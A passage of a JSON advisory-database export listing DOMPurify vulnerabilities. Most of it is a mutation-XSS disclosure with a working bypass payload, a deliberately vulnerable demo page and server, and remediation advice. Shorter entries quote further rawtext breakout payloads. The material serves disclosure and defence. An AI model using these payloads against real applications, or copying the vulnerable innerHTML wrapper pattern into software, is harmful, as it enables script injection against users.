3.2","vulnerable_version_range":"\u003c= 3.3.1"}],"purl":"pkg:npm/dompurify"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1jajYzLWpoaHItd2N4ds4ABUq_/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1oOHI4LXdjY3ItdjVmMs4ABUZm","url":"https://github.com/advisories/GHSA-h8r8-wccr-v5f2","title":"DOMPurify is vulnerable to mutation-XSS via Re-Contextualization ","description":"## Description\n\nA mutation-XSS (mXSS) condition was confirmed when sanitized HTML is reinserted into a new parsing context using `innerHTML` and special wrappers. The vulnerable wrappers confirmed in browser behavior are `script`, `xmp`, `iframe`, `noembed`, `noframes`, and `noscript`. The payload remains seemingly benign after `DOMPurify.sanitize()`, but mutates during the second parse into executable markup with an event handler, enabling JavaScript execution in the client (`alert(1)` in the PoC).\n\n\n## Vulnerability\n\nThe root cause is context switching after sanitization: sanitized output is treated as trusted and concatenated into a wrapper string (for example, `\u003cxmp\u003e ... \u003c/xmp\u003e` or other special wrappers) before being reparsed by the browser. In this flow, attacker-controlled text inside an attribute (for example `\u003c/xmp\u003e` or equivalent closing sequences for each wrapper) closes the special parsing context early and reintroduces attacker markup (`\u003cimg ... onerror=...\u003e`) outside the original attribute context. DOMPurify sanitizes the original parse tree, but the application performs a second parse in a different context, reactivating dangerous tokens (classic mXSS pattern).\n\n## PoC\n\n1. Start the PoC app:\n```bash\nnpm install\nnpm start\n```\n\n2. Open `http://localhost:3001`.\n3. Set `Wrapper en sink` to `xmp`.\n4. Use payload:\n```html\n \u003cimg src=x alt=\"\u003c/xmp\u003e\u003cimg src=x onerror=alert('expoc')\u003e\"\u003e\n```\n\n5. Click `Sanitize + Render`.\n6. Observe:\n- `Sanitized response` still contains the `\u003c/xmp\u003e` sequence inside `alt`.\n- The sink reparses to include `\u003cimg src=\"x\" onerror=\"alert('expoc')\"\u003e`.\n- `alert('expoc')` is triggered.\n7. Files:\n- index.html\n\n```html\n\u003c!doctype html\u003e\n\u003chtml lang=\"en\"\u003e\n  \u003chead\u003e\n    \u003cmeta charset=\"utf-8\"\u003e\n    \u003cmeta name=\"viewport\" content=\"width=device-width, initial-scale=1\"\u003e\n    \u003ctitle\u003eexpoc - DOMPurify SSR PoC\u003c/title\u003e\n    \u003cstyle\u003e\n      :root {\n        --bg: #f7f8fb;\n        --panel: #ffffff;\n        --line: #d8dce6;\n        --text: #0f172a;\n        --muted: #475569;\n        --accent: #0ea5e9;\n      }\n\n      * {\n        box-sizing: border-box;\n      }\n\n      body {\n        margin: 0;\n        font-family: \"SF Mono\", Menlo, Consolas, monospace;\n        color: var(--text);\n        background: radial-gradient(circle at 10% 0%, #e0f2fe 0%, var(--bg) 60%);\n      }\n\n      main {\n        max-width: 980px;\n        margin: 28px auto;\n        padding: 0 16px 20px;\n      }\n\n      h1 {\n        margin: 0 0 10px;\n        font-size: 1.45rem;\n      }\n\n      p {\n        margin: 0;\n        color: var(--muted);\n      }\n\n      .grid {\n        display: grid;\n        gap: 14px;\n        margin-top: 16px;\n      }\n\n      .card {\n        background: var(--panel);\n        border: 1px solid var(--line);\n        border-radius: 12px;\n        padding: 14px;\n      }\n\n      label {\n        display: block;\n        margin-bottom: 7px;\n        font-size: 0.85rem;\n        color: var(--muted);\n      }\n\n      textarea,\n      input,\n      select,\n      button {\n        width: 100%;\n        border: 1px solid var(--line);\n        border-radius: 8px;\n        padding: 9px 10px;\n        font: inherit;\n        background: #fff;\n      }\n\n      textarea {\n        min-height: 110px;\n        resize: vertical;\n      }\n\n      .row {\n        display: grid;\n        grid-template-columns: 1fr 230px;\n        gap: 12px;\n      }\n\n      button {\n        cursor: pointer;\n        background: var(--accent);\n        color: #fff;\n        border-color: #0284c7;\n      }\n\n      #sink {\n        min-height: 90px;\n        border: 1px dashed #94a3b8;\n        border-radius: 8px;\n        padding: 10px;\n        background: #f8fafc;\n      }\n\n      pre {\n        margin: 0;\n        white-space: pre-wrap;\n        word-break: break-word;\n      }\n\n      .note {\n        margin-top: 8px;\n        font-size: 0.85rem;\n      }\n\n      .status-grid {\n        display: grid;\n        grid-template-columns: repeat(auto-fit, minmax(180px, 1fr));\n        gap: 8px;\n        margin-top: 10px;\n      }\n\n      .status-item {\n        border: 1px solid var(--line);\n        border-radius: 8px;\n        padding: 8px 10px;\n        font-size: 0.85rem;\n        background: #fff;\n      }\n\n      .status-item.vuln {\n        border-color: #ef4444;\n        background: #fef2f2;\n      }\n\n      .status-item.safe {\n        border-color: #22c55e;\n        background: #f0fdf4;\n      }\n\n      @media (max-width: 760px) {\n        .row {\n          grid-template-columns: 1fr;\n        }\n      }\n    \u003c/style\u003e\n  \u003c/head\u003e\n  \u003cbody\u003e\n    \u003cmain\u003e\n      \u003ch1\u003eexpoc - DOMPurify Server-Side PoC\u003c/h1\u003e\n      \u003cp\u003e\n        Flujo: input -\u003e POST /sanitize (Node + jsdom + DOMPurify) -\u003e render vulnerable con innerHTML.\n      \u003c/p\u003e\n\n      \u003cdiv class=\"grid\"\u003e\n        \u003csection class=\"card\"\u003e\n          \u003clabel for=\"payload\"\u003ePayload\u003c/label\u003e\n          \u003ctextarea id=\"payload\"\u003e\u003cimg src=x alt=\"\u003c/script\u003e\u003cimg src=x onerror=alert('expoc')\u003e\"\u003e\u003c/textarea\u003e\n          \u003cdiv class=\"row\" style=\"margin-top: 10px;\"\u003e\n            \u003cdiv\u003e\n              \u003clabel for=\"wrapper\"\u003eWrapper en sink\u003c/label\u003e\n              \u003cselect id=\"wrapper\"\u003e\n                \u003coption value=\"div\"\u003ediv\u003c/option\u003e\n                \u003coption value=\"textarea\"\u003etextarea\u003c/option\u003e\n                \u003coption value=\"title\"\u003etitle\u003c/option\u003e\n                \u003coption value=\"style\"\u003estyle\u003c/option\u003e\n                \u003coption value=\"script\" selected\u003escript\u003c/option\u003e\n                \u003coption value=\"xmp\"\u003exmp\u003c/option\u003e\n                \u003coption value=\"iframe\"\u003eiframe\u003c/option\u003e\n                \u003coption value=\"noembed\"\u003enoembed\u003c/option\u003e\n                \u003coption value=\"noframes\"\u003enoframes\u003c/option\u003e\n                \u003coption value=\"noscript\"\u003enoscript\u003c/option\u003e\n              \u003c/select\u003e\n            \u003c/div\u003e\n            \u003cdiv style=\"display:flex;align-items:end;\"\u003e\n              \u003cbutton id=\"run\" type=\"button\"\u003eSanitize + Render\u003c/button\u003e\n            \u003c/div\u003e\n          \u003c/div\u003e\n          \u003cp class=\"note\"\u003eSe usa render vulnerable: \u003ccode\u003esink.innerHTML = '\u0026lt;wrapper\u0026gt;' + sanitized + '\u0026lt;/wrapper\u0026gt;'\u003c/code\u003e.\u003c/p\u003e\n          \u003cdiv class=\"status-grid\"\u003e\n            \u003cdiv class=\"status-item vuln\"\u003escript (vulnerable)\u003c/div\u003e\n            \u003cdiv class=\"status-item vuln\"\u003exmp (vulnerable)\u003c/div\u003e\n            \u003cdiv class=\"status-item vuln\"\u003eiframe (vulnerable)\u003c/div\u003e\n            \u003cdiv class=\"status-item vuln\"\u003enoembed (vulnerable)\u003c/div\u003e\n            \u003cdiv class=\"status-item vuln\"\u003enoframes (vulnerable)\u003c/div\u003e\n            \u003cdiv class=\"status-item vuln\"\u003enoscript (vulnerable)\u003c/div\u003e\n            \u003cdiv class=\"status-item safe\"\u003ediv (no vulnerable)\u003c/div\u003e\n            \u003cdiv class=\"status-item safe\"\u003etextarea (no vulnerable)\u003c/div\u003e\n            \u003cdiv class=\"status-item safe\"\u003etitle (no vulnerable)\u003c/div\u003e\n            \u003cdiv class=\"status-item safe\"\u003estyle (no vulnerable)\u003c/div\u003e\n          \u003c/div\u003e\n        \u003c/section\u003e\n\n        \u003csection class=\"card\"\u003e\n          \u003clabel\u003eSanitized response\u003c/label\u003e\n          \u003cpre id=\"sanitized\"\u003e(empty)\u003c/pre\u003e\n        \u003c/section\u003e\n\n        \u003csection class=\"card\"\u003e\n          \u003clabel\u003eSink\u003c/label\u003e\n          \u003cdiv id=\"sink\"\u003e\u003c/div\u003e\n        \u003c/section\u003e\n      \u003c/div\u003e\n    \u003c/main\u003e\n\n    \u003cscript\u003e\n      const payload = document.getElementById('payload');\n      const wrapper = document.getElementById('wrapper');\n      const run = document.getElementById('run');\n      const sanitizedNode = document.getElementById('sanitized');\n      const sink = document.getElementById('sink');\n\n      run.addEventListener('click', async () =\u003e {\n        const response = await fetch('/sanitize', {\n          method: 'POST',\n          headers: { 'Content-Type': 'application/json' },\n          body: JSON.stringify({ input: payload.value })\n        });\n\n        const data = await response.json();\n        const sanitized = data.sanitized || '';\n        const w = wrapper.value;\n\n        sanitizedNode.textContent = sanitized;\n        sink.innerHTML = '\u003c' + w + '\u003e' + sanitized + '\u003c/' + w + '\u003e';\n      });\n    \u003c/script\u003e\n  \u003c/body\u003e\n\u003c/html\u003e\n```\n\n- server.js\n\n```js\nconst express = require('express');\nconst path = require('path');\nconst { JSDOM } = require('jsdom');\nconst createDOMPurify = require('dompurify');\n\nconst app = express();\nconst port = process.env.PORT || 3001;\n\nconst window = new JSDOM('').window;\nconst DOMPurify = createDOMPurify(window);\n\napp.use(express.json());\napp.use(express.static(path.join(__dirname, 'public')));\n\napp.get('/health', (_req, res) =\u003e {\n  res.json({ ok: true, service: 'expoc' });\n});\n\napp.post('/sanitize', (req, res) =\u003e {\n  const input = typeof req.body?.input === 'string' ? req.body.input : '';\n  const sanitized = DOMPurify.sanitize(input);\n  res.json({ sanitized });\n});\n\napp.listen(port, () =\u003e {\n  console.log(`expoc running at http://localhost:${port}`);\n});\n```\n\n- package.json\n\n```json\n{\n  \"name\": \"expoc\",\n  \"version\": \"1.0.0\",\n  \"main\": \"server.js\",\n  \"scripts\": {\n    \"test\": \"echo \\\"Error: no test specified\\\" \u0026\u0026 exit 1\",\n    \"start\": \"node server.js\",\n    \"dev\": \"node server.js\"\n  },\n  \"keywords\": [],\n  \"author\": \"\",\n  \"license\": \"ISC\",\n  \"description\": \"\",\n  \"dependencies\": {\n    \"dompurify\": \"^3.3.1\",\n    \"express\": \"^5.2.1\",\n    \"jsdom\": \"^28.1.0\"\n  }\n}\n```\n\n## Evidence\n\n- PoC\n\n[daft-video.webm](https://github.com/user-attachments/assets/499a593d-0241-4ab8-95a9-cf49a00bda90)\n\n- XSS triggered\n\u003cimg width=\"2746\" height=\"1588\" alt=\"daft-img\" src=\"https://github.com/user-attachments/assets/1f463c14-d5a3-4c93-94e4-12d2d02c7d15\" /\u003e\n\n## Why This Happens\nThis is a mutation-XSS pattern caused by a parse-context mismatch:\n\n- Parse 1 (sanitization phase): input is interpreted under normal HTML parsing rules.\n- Parse 2 (sink phase): sanitized output is embedded into a wrapper that changes parser state (`xmp` raw-text behavior).\n- Attacker-controlled sequence (`\u003c/xmp\u003e`) gains structural meaning in parse 2 and alters DOM structure.\n\nSanitization is not a universal guarantee across all future parsing contexts. The sink design reintroduces risk.\n\n## Remediation Guidance\n1. Do not concatenate sanitized strings into new HTML wrappers followed by `innerHTML`.\n2. Keep the rendering context stable from sanitize to sink.\n3. Prefer DOM-safe APIs (`textContent`, `createElement`, `setAttribute`) over string-based HTML composition.\n4. If HTML insertion is required, sanitize as close as possible to final insertion context and avoid wrapper constructs with raw-text semantics (`xmp`, `script`, etc.).\n5. Add regression tests for context-switch/mXSS payloads (including `\u003c/xmp\u003e`, `\u003c/noscript\u003e`, similar parser-breakout markers).\n\nReported by Oscar Uribe, Security Researcher at Fluid Attacks. Camilo Vera and Cristian Vargas from the Fluid Attacks Research Team have identified a mXSS via Re-Contextualization in DomPurify 3.3.1.\n\nFollowing Fluid Attacks [Disclosure Policy](https://fluidattacks.com/advisories/policy), if this report corresponds to a vulnerability and the conditions outlined in the policy are met, this advisory will be published on the website over the next few days (the timeline may vary depending on maintainers' willingness to attend to and respond to this report) at the following URL: https://fluidattacks.com/advisories/daft\n\nAcknowledgements: [Camilo Vera](https://github.com/caverav/) and [Cristian Vargas](https://github.com/tachote).","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-03-27T20:41:29.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.9,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N","references":["https://github.com/cure53/DOMPurify/security/advisories/GHSA-h8r8-wccr-v5f2","https://github.com/cure53/DOMPurify/releases/tag/3.3.2","https://github.com/advisories/GHSA-h8r8-wccr-v5f2"],"source_kind":"github","identifiers":["GHSA-h8r8-wccr-v5f2","CVE-2026-65914"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-03-27T21:00:09.339Z","updated_at":"2026-08-06T13:03:31.904Z","epss_percentage":0.00166,"epss_percentile":0.06269,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1oOHI4LXdjY3ItdjVmMs4ABUZm","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1oOHI4LXdjY3ItdjVmMs4ABUZm","packages":[{"ecosystem":"npm","package_name":"dompurify","versions":[{"first_patched_version":"3.3.2","vulnerable_version_range":"\u003c 3.3.2"}],"purl":"pkg:npm/dompurify"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1oOHI4LXdjY3ItdjVmMs4ABUZm/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS12MndqLTd3cHEtYzh2ds4ABTDL","url":"https://github.com/advisories/GHSA-v2wj-7wpq-c8vv","title":"DOMPurify contains a Cross-site Scripting vulnerability","description":"DOMPurify 3.1.3 through 3.3.1 and 2.5.3 through 2.5.8, fixed in 2.5.9 and 3.3.2, contain a cross-site scripting vulnerability that allows attackers to bypass attribute sanitization by exploiting five missing rawtext elements (noscript, xmp, noembed, noframes, iframe) in the `SAFE_FOR_XML` regex. Attackers can include payloads like `\u003c/noscript\u003e\u003cimg src=x onerror=alert(1)\u003e` in attribute values to execute JavaScript when sanitized output is placed inside these unprotected rawtext contexts.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-03-03T18:31:33.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":5.1,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N","references":["https://nvd.nist.gov/vuln/detail/CVE-2026-0540","https://github.com/cure53/DOMPurify/commit/fca0a938b4261ddc9c0293a289935a9029c049f5","https://github.com/cure53/DOMPurify","https://www.vulncheck.com/advisories/dompurify-xss-via-missing-rawtext-elements-in-safe-for-xml","https://github.com/cure53/DOMPurify/commit/302b51de22535cc90235472c52e3401bedd46f80","https://fluidattacks.com/advisories/daft","https://github.com/cure53/DOMPurify/releases/tag/3.3.2","https://github.com/advisories/GHSA-v2wj-7wpq-c8vv"],"source_kind":"github","identifiers":["GHSA-v2wj-7wpq-c8vv","CVE-2026-0540"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-03-04T21:00:09.632Z","updated_at":"2026-08-06T13:04:04.369Z","epss_percentage":0.0034,"epss_percentile":0.26537,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS12MndqLTd3cHEtYzh2ds4ABTDL","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS12MndqLTd3cHEtYzh2ds4ABTDL","packages":[{"ecosystem":"npm","package_name":"dompurify","versions":[{"first_patched_version":"2.5.9","vulnerable_version_range":"\u003e= 2.5.3, \u003c= 2.5.8"},{"first_patched_version":"3.3.2","vulnerable_version_range":"\u003e= 3.1.3, \u003c= 3.3.1"}],"purl":"pkg:npm/dompurify"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS12MndqLTd3cHEtYzh2ds4ABTDL/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS12OGptLTV2d3gtY2Z4bc4ABTDE","url":"https://github.com/advisories/GHSA-v8jm-5vwx-cfxm","title":"DOMPurify contains a Cross-site Scripting vulnerability","description":"DOMPurify 3.1.3 through 3.2.6 and 2.5.3 through 2.5.8 contain a cross-site scripting vulnerability that allows attackers to bypass attribute sanitization by exploiting missing textarea rawtext element validation in the SAFE_FOR_XML regex. Attackers can include closing rawtext tags like \u003c/textarea\u003e in attribute values to break out of rawtext contexts and execute JavaScript when sanitized output is placed inside rawtext elements. The 3.x branch was fixed in 3.2.7; the 2.x branch was never patched.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-03-03T18:31:33.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":5.1,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N","references":["https://nvd.nist.gov/vuln/detail/CVE-2025-15599","https://github.com/cure53/DOMPurify/commit/c861f5a83fb8d90800f1680f855fee551161ac2b","https://github.com/cure53/DOMPurify","https://www.vulncheck.com/advisories/dompurify-xss-via-textarea-rawtext-bypass-in-safeforxml","https://www.vulncheck.com/advisories/dompurify-xss-via-textarea-rawtext-bypass-in-safe-for-xml","https://github.com/advisories/GHSA-v8jm-5vwx-cfxm"],"source_kind":"github","identifiers":["GHSA-v8jm-5vwx-cfxm","CVE-2025-15599"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-03-04T21:00:09.632Z","updated_at":"2026-08-11T14:05:55.889Z","epss_percentage":0.00245,"epss_percentile":0.1556,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS12OGptLTV2d3gtY2Z4bc4ABTDE","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS12OGptLTV2d3gtY2Z4bc4ABTDE","packages":[{"ecosystem":"npm","package_name":"dompurify","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003e= 2.5.3, \u003c= 2.5.8"},{"first_patched_version":"3.2.7","vulnerable_version_range":"\u003e= 3.1.3, \u003c 3.2.7"}],"purl":"pkg:npm/dompurify"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS12OGptLTV2d3gtY2Z4bc4ABTDE/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS12aHhmLTd2cXItbXJqZ84ABEeY","url":"https://github.com/advisories/GHSA-vhxf-7vqr-mrjg","title":"DOMPurify allows Cross-site Scripting (XSS)","description":"DOMPurify before 3.2.4 has an incorrect template literal regular expression when SAFE_FOR_TEMPLATES is set to true, sometimes leading to mutation cross-site scripting (mXSS).","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2025-02-14T09:31:22.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":4.5,"cvss_vector":"CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:C/C:L/I:L/A:N","references":["https://nvd.nist.gov/vuln/detail/CVE-2025-26791","https://github.com/cure53/DOMPurify/commit/d18ffcb554e0001748865da03ac75dd7829f0f02","https://ensy.zip/posts/dompurify-323-bypass","https://github.com/cure53/DOMPurify/releases/tag/3.2.4","https://nsysean.github.io/posts/dompurify-323-bypass","https://github.com/advisories/GHSA-vhxf-7vqr-mrjg"],"source_kind":"github","identifiers":["GHSA-vhxf-7vqr-mrjg","CVE-2025-26791"],"repository_url":"https://github.com/cure53/DOMPurify","blast_radius":0.0,"created_at":"2025-02-14T19:07:38.501Z","updated_at":"2026-08-11T14:10:47.165Z","epss_percentage":0.00583,"epss_percentile":0.44542,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS12aHhmLTd2cXItbXJqZ84ABEeY","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS12aHhmLTd2cXItbXJqZ84ABEeY","packages":[{"ecosystem":"npm","package_name":"dompurify","versions":[{"first_patched_version":"3.2.4","vulnerable_version_range":"\u003c 3.2.4"}],"purl":"pkg:npm/dompurify"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS12aHhmLTd2cXItbXJqZ84ABEeY/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1wM3ZmLXY4cWMtY3djcs4ABA13","url":"https://github.com/advisories/GHSA-p3vf-v8qc-cwcr","title":"DOMPurify vulnerable to tampering by prototype polution","description":"dompurify was vulnerable to prototype pollution\n\nFixed by https://github.com/cure53/DOMPurify/commit/d1dd0374caef2b4c56c3bd09fe1988c3479166dc","origin":"UNSPECIFIED","severity":"CRITICAL","published_at":"2024-10-31T14:23:34.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":9.3,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N","references":["https://github.com/cure53/DOMPurify/security/advisories/GHSA-p3vf-v8qc-cwcr","https://github.com/cure53/DOMPurify/commit/d1dd0374caef2b4c56c3bd09fe1988c3479166dc","https://nvd.nist.gov/vuln/detail/CVE-2024-48910","https://lists.debian.org/debian-lts-announce/2025/02/msg00010.html","https://github.com/advisories/GHSA-p3vf-v8qc-cwcr"],"source_kind":"github","identifiers":["GHSA-p3vf-v8qc-cwcr","CVE-2024-48910"],"repository_url":"https://github.com/cure53/DOMPurify","blast_radius":44.20354698207268,"created_at":"2024-10-31T15:06:28.619Z","updated_at":"2026-08-11T14:11:43.187Z","epss_percentage":0.01151,"epss_percentile":0.63907,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1wM3ZmLXY4cWMtY3djcs4ABA13","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1wM3ZmLXY4cWMtY3djcs4ABA13","packages":[{"ecosystem":"npm","package_name":"dompurify","versions":[{"first_patched_version":"2.4.2","vulnerable_version_range":"\u003c 2.4.2"}],"purl":"pkg:npm/dompurify"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1wM3ZmLXY4cWMtY3djcs4ABA13/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1neDltLXdoam0tODVqZs4ABANT","url":"https://github.com/advisories/GHSA-gx9m-whjm-85jf","title":"DOMpurify has a nesting-based mXSS","description":"DOMpurify was vulnerable to nesting-based mXSS \n\nfixed by [0ef5e537](https://github.com/cure53/DOMPurify/tree/0ef5e537a514f904b6aa1d7ad9e749e365d7185f) (2.x) and\n[merge 943](https://github.com/cure53/DOMPurify/pull/943)\n\nBackporter should be aware of GHSA-mmhx-hmjr-r674 (CVE-2024-45801) when cherry-picking\n\nPOC is avaible under [test](https://github.com/cure53/DOMPurify/blob/0ef5e537a514f904b6aa1d7ad9e749e365d7185f/test/test-suite.js#L2098)","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2024-10-11T17:27:29.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.9,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:L/SI:H/SA:H","references":["https://github.com/cure53/DOMPurify/security/advisories/GHSA-gx9m-whjm-85jf","https://nvd.nist.gov/vuln/detail/CVE-2024-47875","https://github.com/cure53/DOMPurify/commit/0ef5e537a514f904b6aa1d7ad9e749e365d7185f","https://github.com/cure53/DOMPurify/commit/6ea80cd8b47640c20f2f230c7920b1f4ce4fdf7a","https://github.com/cure53/DOMPurify/blob/0ef5e537a514f904b6aa1d7ad9e749e365d7185f/test/test-suite.js#L2098","https://lists.debian.org/debian-lts-announce/2025/02/msg00010.html","http://seclists.org/fulldisclosure/2025/Apr/14","https://github.com/advisories/GHSA-gx9m-whjm-85jf"],"source_kind":"github","identifiers":["GHSA-gx9m-whjm-85jf","CVE-2024-47875"],"repository_url":"https://github.com/cure53/DOMPurify","blast_radius":37.54924958692195,"created_at":"2024-10-11T18:06:28.761Z","updated_at":"2026-08-11T14:11:55.825Z","epss_percentage":0.0107,"epss_percentile":0.61504,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1neDltLXdoam0tODVqZs4ABANT","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1neDltLXdoam0tODVqZs4ABANT","packages":[{"ecosystem":"npm","package_name":"dompurify","versions":[{"first_patched_version":"3.1.3","vulnerable_version_range":"\u003e= 3.0.0, \u003c 3.1.3"},{"first_patched_version":"2.5.0","vulnerable_version_range":"\u003c 2.5.0"}],"purl":"pkg:npm/dompurify"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1neDltLXdoam0tODVqZs4ABANT/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1tbWh4LWhtanItcjY3NM4AA_kd","url":"https://github.com/advisories/GHSA-mmhx-hmjr-r674","title":"DOMPurify allows tampering by prototype pollution","description":"It has been discovered that malicious HTML using special nesting techniques can bypass the depth checking added to DOMPurify in recent releases. It was also possible to use Prototype Pollution to weaken the depth check.\n\nThis renders dompurify unable to avoid XSS attack.\n\nFixed by https://github.com/cure53/DOMPurify/commit/1e520262bf4c66b5efda49e2316d6d1246ca7b21 (3.x branch) and https://github.com/cure53/DOMPurify/commit/26e1d69ca7f769f5c558619d644d90dd8bf26ebc (2.x branch).","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2024-09-16T20:34:26.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.3,"cvss_vector":"CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:L/VI:H/VA:L/SC:N/SI:N/SA:N","references":["https://github.com/cure53/DOMPurify/security/advisories/GHSA-mmhx-hmjr-r674","https://github.com/cure53/DOMPurify/commit/1e520262bf4c66b5efda49e2316d6d1246ca7b21","https://github.com/cure53/DOMPurify/commit/26e1d69ca7f769f5c558619d644d90dd8bf26ebc","https://nvd.nist.gov/vuln/detail/CVE-2024-45801","https://github.com/advisories/GHSA-mmhx-hmjr-r674"],"source_kind":"github","identifiers":["GHSA-mmhx-hmjr-r674","CVE-2024-45801"],"repository_url":"https://github.com/cure53/DOMPurify","blast_radius":39.45047741410788,"created_at":"2024-09-16T21:06:01.221Z","updated_at":"2026-08-14T00:10:57.811Z","epss_percentage":0.00844,"epss_percentile":0.54517,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1tbWh4LWhtanItcjY3NM4AA_kd","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1tbWh4LWhtanItcjY3NM4AA_kd","packages":[{"ecosystem":"npm","package_name":"dompurify","versions":[{"first_patched_version":"3.1.3","vulnerable_version_range":"\u003e= 3.0.0, \u003c 3.1.3"},{"first_patched_version":"2.5.4","vulnerable_version_range":"\u003c 2.5.4"}],"purl":"pkg:npm/dompurify"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1tbWh4LWhtanItcjY3NM4AA_kd/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS04aGdnLXh4bTUtMzg3M84AA3ID","url":"https://github.com/advisories/GHSA-8hgg-xxm5-3873","title":"DOMPurify Open Redirect vulnerability","description":"DOMPurify before 1.0.11 allows reverse tabnabbing in demos/hooks-target-blank-demo.html because links lack a 'rel=\"noopener noreferrer\"' attribute.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2023-11-14T21:30:51.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.1,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","references":["https://nvd.nist.gov/vuln/detail/CVE-2019-25155","https://github.com/cure53/DOMPurify/compare/1.0.10...1.0.11","https://github.com/cure53/DOMPurify/pull/337","https://github.com/cure53/DOMPurify/commit/7601c33a57e029cce51d910eda5179a3f1b51c83","https://github.com/advisories/GHSA-8hgg-xxm5-3873"],"source_kind":"github","identifiers":["GHSA-8hgg-xxm5-3873","CVE-2019-25155"],"repository_url":"https://github.com/cure53/DOMPurify","blast_radius":0.0,"created_at":"2023-11-15T21:06:13.261Z","updated_at":"2026-08-14T00:15:19.192Z","epss_percentage":0.00508,"epss_percentile":0.4056,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS04aGdnLXh4bTUtMzg3M84AA3ID","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS04aGdnLXh4bTUtMzg3M84AA3ID","packages":[{"ecosystem":"npm","package_name":"dompurify","versions":[{"first_patched_version":"1.0.11","vulnerable_version_range":"\u003c 1.0.11"}],"purl":"pkg:npm/dompurify"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS04aGdnLXh4bTUtMzg3M84AA3ID/related_packages","related_advisories":[]},{"uuid":"MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLTYzcTctaDg5NS1tOTgy","url":"https://github.com/advisories/GHSA-63q7-h895-m982","title":"Cross-site Scripting in dompurify","description":"Cure53 DOMPurify before 2.0.17 allows mutation XSS. This occurs because a serialize-parse roundtrip does not necessarily return the original DOM tree, and a namespace can change from HTML to MathML, as demonstrated by nesting of FORM 